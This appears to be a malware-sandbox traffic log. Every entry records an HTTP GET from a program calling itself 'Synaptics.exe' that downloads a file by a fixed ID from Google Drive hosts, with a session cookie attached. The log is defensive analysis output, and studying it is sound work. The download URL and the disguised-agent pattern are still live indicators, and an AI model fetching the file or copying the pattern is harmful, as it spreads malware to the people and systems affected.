Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
